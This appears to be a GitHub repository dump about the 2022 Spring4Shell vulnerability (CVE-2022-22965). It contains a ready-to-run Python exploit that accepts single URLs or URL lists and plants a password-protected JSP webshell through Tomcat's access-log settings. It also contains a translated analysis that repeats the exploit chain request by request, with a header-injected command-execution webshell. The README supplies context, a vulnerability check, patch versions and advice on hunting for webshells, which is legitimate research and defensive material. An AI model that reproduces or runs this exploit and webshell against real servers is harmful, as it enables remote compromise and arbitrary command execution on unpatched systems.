├── 漏洞分析 (Vulnerability Analysis).pdf ├── exploit.py ├── ANALYSIS_EN.md └── README.md /漏洞分析 (Vulnerability Analysis).pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tweedge/springcore-0day-en/HEAD/漏洞分析 (Vulnerability Analysis).pdf -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | import requests 4 | import argparse 5 | from urllib.parse import urljoin 6 | 7 | 8 | def Exploit(url): 9 | headers = { 10 | "suffix": "%>//", 11 | "c1": "Runtime", 12 | "c2": "<%", 13 | "DNT": "1", 14 | "Content-Type": "application/x-www-form-urlencoded", 15 | } 16 | data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" 17 | try: 18 | 19 | go = requests.post( 20 | url, 21 | headers=headers, 22 | data=data, 23 | timeout=15, 24 | allow_redirects=False, 25 | verify=False, 26 | ) 27 | shellurl = urljoin(url, "tomcatwar.jsp") 28 | shellgo = requests.get( 29 | shellurl, timeout=15, allow_redirects=False, verify=False 30 | ) 31 | if shellgo.status_code == 200: 32 | print( 33 | f"The vulnerability exists, shell address is: {shellurl}?pwd=j&cmd=whoami" 34 | ) 35 | except Exception as e: 36 | print(e) 37 | pass 38 | 39 | 40 | def main(): 41 | parser = argparse.ArgumentParser(description="Spring-Core Rce.") 42 | parser.add_argument("--file", help="url file", required=False) 43 | parser.add_argument("--url", help="target url", required=False) 44 | args = parser.parse_args() 45 | if args.url: 46 | Exploit(args.url) 47 | if args.file: 48 | with open(args.file) as f: 49 | for i in f.readlines(): 50 | i = i.strip() 51 | Exploit(i) 52 | 53 | 54 | if __name__ == "__main__": 55 | main() 56 | -------------------------------------------------------------------------------- /ANALYSIS_EN.md: -------------------------------------------------------------------------------- 1 | This is a translated version of the Vulnerability Analysis document ([original here](https://github.com/tweedge/springcore-0day-en/blob/main/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%20(Vulnerability%20Analysis).pdf)) that the PoC author (`p1n93r`) released. 2 | 3 | It has been machine translated by me (tweedge) along with OCR for the text in screenshots. Additionally, translation clarity and accuracy has been improved by [yuesong](https://github.com/yuesong) - thank you, Yuesong! 4 | 5 | # SpringBeans RCE Vulnerability Analysis (Translated) 6 | 7 | ## Requirements 8 | * JDK9 and above 9 | * Using the Spring-beans package 10 | * Spring parameter binding is used 11 | * Spring parameter binding uses non-basic parameter types, such as general POJOs 12 | 13 | > *Analyst's note:* This stated that the vulnerability can only attain RCE in nondefault cases. The author later claims this is a reasonable use of SpringBeans. Since this is not the *default* case, I'm laying shame on any news outlet claiming this vulnerability is the next log4shell. It categorically isn't. 14 | 15 | ## Demo 16 | 17 | ``` 18 | https://github.com/p1n93r/spring-rce-war 19 | ``` 20 | 21 | > *Analyst's note:* Gone, and no saved version. :/ 22 | 23 | ## Vulnerability Analysis 24 | I won't discuss details of Spring parameter binding, you can google it yourself; basically one uses the `.` notation to assign values to object properties. The actual assignment uses reflection to call the property's `getter` or `setter`. 25 | 26 | When this vulnerability first came out, I thought it was rubbish, because I thought this would require a Class type attribute on the parameter object, and no fool would include a Class type attribute in their POJO; but when I look at it carefully, I find that things are not so simple. 27 | 28 | For example, the data structure of the parameter I need to bind is as follows, which is a very simple POJO: 29 | 30 | ``` 31 | /** 32 | * @author : p1n93r 33 | * @date : 2022/3/29 17:34 34 | */ 35 | @Setter 36 | @Getter 37 | 38 | public class EvalBean { 39 | public EvalBean() throws ClassNotFoundException { 40 | System.out.println("[+] called EvalBean.EvalBean"); 41 | } 42 | 43 | public String name; 44 | public CommonBean commonBean; 45 | 46 | public String getName() { 47 | System.out.println("[+] called EvalBean.getName"); 48 | return name; 49 | } 50 | 51 | public void setName(String name) { 52 | System.out.println("[+] called EvalBean.setName"); 53 | this.name = name; 54 | } 55 | 56 | public CommonBean getCommonBean() { 57 | System.out.println("[+] called EvalBean.getCommonBean"); 58 | return commonBean; 59 | } 60 | 61 | public void setCommonBean(CommonBean commonBean) { 62 | System.out.println("[+] called EvalBean.setCommonBean"); 63 | this.commonBean = commonBean; 64 | } 65 | } 66 | ``` 67 | 68 | My Controller is written as follows, which is also very normal: 69 | 70 | ``` 71 | @RequestMapping("/index") 72 | public void index(EvalBean evalBean, Model model) { 73 | System.out.println("================="); 74 | System.out.println(evalBean); 75 | System.out.println("================="); 76 | } 77 | ``` 78 | 79 | So I started stepping through the whole parameter binding process. When I got to the call below, I was stunned. 80 | 81 | > *Analyst's notes on screenshot 1* 82 | > 83 | > The author then shows a screenshot of `BreanWrapperImpl.class` (see [Spring Frameworks BeanWrapperImpl docs](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/beans/BeanWrapperImpl.html)) with an arrow pointing to `this.getCachedIntrospectionResults()` on line 110, with the label "Find property names from this cache." 84 | > 85 | > The full line is: 86 | > 87 | > `PropertyDescriptor pd = this.getCachedIntrospectionResults() getPropertyDescriptor(propertyName);` 88 | > 89 | > Additionally, the author highlights several bind and [set/apply]PropertyValue events in their debugger, with the note "the process of Spring parameter binding." 90 | 91 | When I looked at this "cache", I was stunned, why is there a "class" attribute cache here? ? ? ! ! ! ! ! 92 | 93 | > *Analyst's notes on screenshot 2* 94 | > 95 | > The author is still viewing the same `BreanWrapperImpl.class` file, hovering over `this.getCachedIntrospectionResults()` and using IntelliJ's Evaluate function. They show that the `propertyDescriptorCache` class definition is: 96 | > 97 | > `"class" -> (GenericTypeAwarePropertyDescriptor@5848) *org.springframework.beans.GenericTypeAwarePropertyDescriptor ...` 98 | > 99 | > And comment: "There is actually a class attribute. Our POJO doesn't need to have the class attribute at all. When spring binds parameters, it will bring a class property to reference the POJO class to be bound." 100 | 101 | 102 | When I saw this, I knew I was wrong, this is not a garbage vulnerability, it is really a nuclear bomb-level vulnerability! Now it is clear that we can easily get the class object, the rest is to use this class object to construct the exploit chain. A relatively simple way is to modify Tomcat's logging config and write the shell to the log. 103 | 104 | The complete exploit chain is as follows: 105 | 106 | ``` 107 | class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%66%75%63%6b%7d%69 108 | class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp 109 | class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d%79%4a%61%76%61%43%6f%64%65%5c%73%74%75%70%69%64%52%7 110 | class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuckJsp 111 | class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= 112 | ``` 113 | 114 | Looking at the chain, you can see that it is very easy to modify the Tomcat logging config and use the log to write a shell; the specific attack steps are as follows, send the following five requests successively: 115 | 116 | ``` 117 | http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%66%75%6 118 | http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp 119 | http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d 120 | http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuckJsp 121 | http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= 122 | ``` 123 | 124 | After sending these five requests, Tomcat's logging config is modified as follows: 125 | 126 | > *Analyst's notes on screenshot 3* 127 | > 128 | > The author is now viewing a code fragment of `((WebappClassLoaderBase)evalBean.getClass().getClassLoader().getResources().getContext().getParent().getPipeline().getFirst();` 129 | > 130 | > They show that for the AccessLogValve, the suffix is now `.jsp`, the the prefix is now `fuckJsp`, etc. - basically showing that the parameters they claim to be setting above have been saved to the `AccessLogValve`, overwriting the original configuration. **The goal of this is to manipulate this alleged vulnerability to create a log file with valid JSP in it to use as a webshell, which the attacker can then utilize normally.** 131 | 132 | Then we just need to send a random request, add a header called fuck, and write to the shell: 133 | 134 | ``` 135 | GET /stupidRumor_war_exploded/fuckUUUU HTTP/1.1 136 | Host: 127.0.0.1:8080 137 | User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36 138 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 139 | fuck: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%> 140 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 141 | Accept-Encoding: gzip, deflate 142 | Connection: close 143 | Upgrade-Insecure-Requests: 1 144 | Sec-Fetch-Dest: document 145 | Sec-Fetch-Mode: navigate 146 | Sec-Fetch-Site: none 147 | Sec-Fetch-User: ?1 148 | ``` 149 | 150 | > *Analyst's notes on screenshot 4* 151 | > 152 | > The author shows a directory view which includes a presumably-new file titled `fuckJsp.jsp` - which the author claims to have set as the `AccessLogValve` with their above exploit. This is claimed to work because they set the logger to log the `fuck` headers of requests to `fuckJsp.jsp`. `fuckJsp.jsp` contains the contents: 153 | > 154 | > `-` 155 | > `<%Runtime.getRuntime().exec(requests.getParameter("cmd"));%>` 156 | > `-` 157 | > 158 | > A simple webshell which executes anything given in the `cmd` parameter, which the author points to with the descriptor "successfully wrote the shell." 159 | 160 | The shell can be accessed normally: 161 | 162 | > *Analyst's notes on screenshot 5* 163 | > 164 | > The author now shows Burp overlaid with `calc.exe` open after running a GET request to `/stupidRumor_war_exploded/fuckJsp.jsp?cmd=calc` 165 | 166 | ## Summary 167 | 168 | * Given that the class object can be called, there must be more ways to exploit this than writing the log; 169 | * Can follow up later, why does parameter binding keep a reference to the POJO class? 170 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # springcore-0day-en 2 | 3 | These are all my notes from the ~~alleged~~ **confirmed!** 0day dropped on 2022-03-29. This vulnerability is commonly referred to as "Spring4Shell" in the InfoSec community - an unfortunate name that calls back to the log4shell cataclysm, when (*so far*), impact of that magnitude has *not* been demonstrated. I hope this repository helps you assess the situation holistically, learn about the vulnerability, and drive risk down in your organization if risk is present. :) 4 | 5 | **Please note that this is a different issue than CVE-2022-22963! Major cybersecurity news outlets, including ThreatPost, have gotten this fact wrong - and this is compounding confusion across other outlets and making triage much more difficult. See the [Misconceptions](https://github.com/tweedge/springcore-0day-en#misconceptions) section for more details! The actual CVE for this issue has been released 2022-03-31 and is *CVE-2022-22965*.** 6 | 7 | ## TL;DR 8 | 9 | On March 29th, A GitHub user (`p1n93r`) claimed that by sending crafted requests to JDK9+ SpringBeans-using applications, *under certain circumstances*, that they can remotely: 10 | 11 | * Modify the logging parameters of that application. 12 | * Use the modified logger to write a valid JSP file that contains a webshell. 13 | * Use the webshell for remote execution tomfoolery. 14 | 15 | Shortly after, `p1n93r`'s GitHub and Twitter disappeared, leading to much speculation. After an uncertain period of independent research, on March 30th reputable entities (ex. [Praetorian](https://www.praetorian.com/blog/spring-core-jdk9-rce/), endividuals such as [@testanull](https://twitter.com/testanull/status/1509185015187345411), etc.) began publicly confirming that that they have replicated the issue, and shortly after, demo applications (see "[DIY](https://github.com/tweedge/springcore-0day-en#do-it-yourself)" section) were released so others could learn about this vulnerability. ~~This is being described as a bypass for CVE-2010-1622 - and it is currently unpatched and unconfirmed by Spring team, but information has been [handed off to them](https://twitter.com/rfordonsecurity/status/1509285351398985738) and it's safe to assume they're working hard on this.~~ 16 | 17 | Thankfully, Spring team did take this seriously, and a patch was released on 2022-03-31 - please see "[Mitigation!](https://github.com/tweedge/springcore-0day-en/blob/main/README.md#mitigation)." This vulnerability has also been upgraded from High to Critical severity. 18 | 19 | ## Exploit Documentation 20 | 21 | I translated and annotated `p1n93r`'s original Vulnerability Analysis PDF ([original here](https://github.com/tweedge/springcore-0day-en/blob/main/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%20(Vulnerability%20Analysis).pdf)) from Mandarin to English, including the author's screenshots, in [ANALYSIS_EN.md](https://github.com/tweedge/springcore-0day-en/blob/main/ANALYSIS_EN.md). This was machine-translated, but the accuracy and clarity has been improved by [@yuesong](https://github.com/yuesong) via PR - thank you, Yuesong! 22 | 23 | The exploit itself is available at [exploit.py](https://github.com/tweedge/springcore-0day-en/blob/main/exploit.py), and has been formatted using [Black](https://github.com/psf/black) for slightly improved clarity. 24 | 25 | Looking for the original copy of this documentation? Use vx-underground's archive here: https://share.vx-underground.org/SpringCore0day.7z 26 | 27 | Want a technical breakdown of the exploit that is *way* less messy than the author's original documents? I recommend diving deeper with [LunaSec's exploit scenario](https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/#exploit-scenario-overview) which is comprehensive and comprehensible. 28 | 29 | ## Do It Yourself! 30 | 31 | A few sample applications have been made so you can validate the PoC works, as well as learn more about what cases are exploitable. Tthe **simplest** example of this I can find is courtesy of @freeqaz of LunaSec, who developed [lunasec-io/spring-rce-vulnerable-app](https://github.com/lunasec-io/spring-rce-vulnerable-app/blob/main/src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java) as a companion to their fantastic in-depth article about this vulnerability (linked in the "[Further Reading](https://github.com/tweedge/springcore-0day-en#further-reading)" section). 32 | 33 | Additional demonstration apps are available with slightly different conditions where this vulnerability would be exploitable, such as [reznok/Spring4Shell-POC](https://github.com/reznok/Spring4Shell-POC) (neatly Dockerized and very clean!) [retrospected/spring-rce-poc](https://github.com/Retrospected/spring-rce-poc) (uses a WAR file, which is closer to the original demo, but may be slightly less approachable) for those interested in tinkering! 34 | 35 | ## Commentary/Impact 36 | 37 | [Will Dormann](https://twitter.com/wdormann/status/1509280535071309827) (CERT/CC Vulnerability Analyst) notes: 38 | 39 | > The prerequisites: 40 | > - Uses Spring Beans 41 | > - Uses Spring Parameter Binding 42 | > - Spring Parameter Binding must be configured to use a non-basic parameter type, such as POJOs 43 | > 44 | > All this smells of "How can I make an app that's exploitable" vs. "How can I exploit this thing that exists?" 45 | > 46 | > ... 47 | > 48 | > Also, the [Spring documentation](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/validation/DataBinder.html) is clear about security implications of YOLO usage of DataBinder. So add ignoring security guidance to the list above, and, well, I'm suspicious. 49 | 50 | It was later discovered that there are cases in the wild where this vulnerability is working, most notably in the ["Handling Form Submission" tutorial](https://spring.io/guides/gs/handling-form-submission/) from Spring, as [discovered by @th3_protoCOL](https://twitter.com/th3_protoCOL/status/1509345839134609408). *However*, thus far nobody's found evidence that this is widespread. 51 | 52 | In my opinion, any news article going out of its way to say "could this be the next log4shell?!?" is willfully overblowing this - this is a severe vulnerability, sure, but it only impacts nondefault usage of SpringCore with no proven widespread viability. It's categorically *not* log4shell-like. 53 | 54 | **While this currently does not seem like it's going to be a *cataclysmic* event, given this is a Critical RCE *and* being actively targeted by attackers (refer [Bad Packets](https://twitter.com/bad_packets/status/1509603994166956049) and [GreyNoise](https://twitter.com/GreyNoiseIO/status/1509569701248217088)), it is *at least* worth the research to figure out how much risk exposure your organization could have.** 55 | 56 | ## Check Yourself! 57 | 58 | The simplest/most straightforward test I've seen for establishing whether or not a service you administrate is vulnerable was published by Randori Security's [Attack Team](https://twitter.com/RandoriAttack/status/1509298490106593283): 59 | 60 | > The following non-malicious request can be used to test susceptibility to the SpringCore 0day RCE. An HTTP 400 return code indicates vulnerability. 61 | > 62 | > `$ curl host:port/path?class.module.classLoader.URLs%5B0%5D=0` 63 | 64 | It's not clear if this is 100% comprehensive, but it should be a very good starting place for anyone that needs to automate or mass-scan endpoints! 65 | 66 | ## Mitigation 67 | 68 | Spring has released a CVE and patches for this issue, alongside full details on [this blog post](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement). It is strongly recommended to upgrade to Spring Framework versions 5.3.18 or 5.2.20, which are now available. Additional details about upgrading are available in the blog post above, including information on upgrading with Maven or Gradle. 69 | 70 | Additionally, Spring Boot 2.5.15 is now available which includes the patch for CVE-2022-22965, per this [additional blog post from Spring](https://spring.io/blog/2022/03/31/spring-boot-2-5-12-available-now). 71 | 72 | Once you patch, you are no longer vulnerable to CVE-2022-22965. **However,** if you know your application is/was vulnerable, you should look for signs of malicious abuse or initial access, such as webshells which were dropped by attackers (such as Initial Access Brokers) to come back to later. As of 2022-03-31, mass scanning for this vulnerability is reported underway by [Bad Packets](https://twitter.com/bad_packets/status/1509603994166956049) and [GreyNoise](https://twitter.com/GreyNoiseIO/status/1509569701248217088). 73 | 74 | ## Misconceptions 75 | 76 | ### Many articles/people/etc. claim this is CVE-2022-22963 - is it? 77 | 78 | **No.** 79 | 80 | CVE-2022-22963 is a local resource exposure bug in Spring Cloud Functions. Refer to [VMware Tanzu's report](https://tanzu.vmware.com/security/cve-2022-22963). 81 | * CVE: CVE-2022-22963 (duh) 82 | * Patch available: Yes. 83 | * CVSS score: Medium -> **upgraded to Critical 2022-03-31**. 84 | * Impacts: Spring Cloud Function versions 3.1.6, 3.2.2, and older unsupported versions, where the routing functionality is used. 85 | 86 | This vulnerability leads to RCE in Spring Core applications under nondefault circumstances. Refer to [VMware Tanzu's's report](https://tanzu.vmware.com/security/cve-2022-22965). 87 | * CVE: **As of 2022-03-31, this vulnerability has been assigned CVE-2022-22965**. 88 | * Patch available: **As of 2022-03-31, yes! See "[Mitigation.](https://github.com/tweedge/springcore-0day-en/blob/main/README.md#mitigation)"** 89 | * CVSS score: **Assigned High on 2022-03-31, upgraded same-day to Critical.** 90 | * Impacts: Any Java application using Spring Core under nondefault circumstances. See [Spring's blog post](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement) for more details. 91 | 92 | ### Wasn't a patch available on 2022-03-29? 93 | 94 | The original PoC's README linked to an alleged security patch in Spring production [here](https://github.com/spring-projects/spring-framework/commit/7f7fb58dd0dae86d22268a4b59ac7c72a6c22529), however this was met with a rebuttal from the maintainer (see below), and many confirmations that the vulnerability is still working in up-to-date versions of Spring on 2022-03-30. This patch appeared unrelated, and was probnably flagged by the original author due to a misunderstanding. 95 | 96 | [Sam Brannen](https://github.com/sbrannen) (maintainer) comments on that commit: 97 | 98 | > ... The purpose of this commit is to inform anyone who had previously been using SerializationUtils#deserialize that it is dangerous to deserialize objects from untrusted sources. 99 | > 100 | > The core Spring Framework does not use SerializationUtils to deserialize objects from untrusted sources. 101 | > 102 | > If you believe you have discovered a security issue, please report it responsibly with the dedicated page: https://spring.io/security-policy 103 | > 104 | > And please refrain from posting any additional comments to this commit. 105 | > 106 | > Thank you 107 | 108 | Now several days later, Spring confirmed that a patch had to be written to resolve this exploit. The precise fix appears to be [this commit](https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15) which limits what can be bound to CachedIntrospectionResults. 109 | 110 | ## Further Reading 111 | 112 | These sources, in my opinion, Get It Right (and go into more detail!): 113 | 114 | * [LunaSec](https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/) 115 | * [Praetorian](https://www.praetorian.com/blog/spring-core-jdk9-rce/) 116 | * [Rapid7](https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/) 117 | 118 | ## Thanks 119 | 120 | A big thank you to folks who contributed to this living document! 121 | 122 | * [Yuesong Wang](https://github.com/yuesong) for improving translation clarity and tidying up 123 | * [Subhranil Sengupta](https://github.com/Staticsubh) and [Olaf Matyja](https://github.com/olafmat) for correcting my typo in the Spring Framework patched version number 124 | * [Jason M](https://github.com/hack-r) for a quick typo correction from `srping` to `spring` in the `exploit.py` file (just a docs change, does not impact exploit's utility) 125 | --------------------------------------------------------------------------------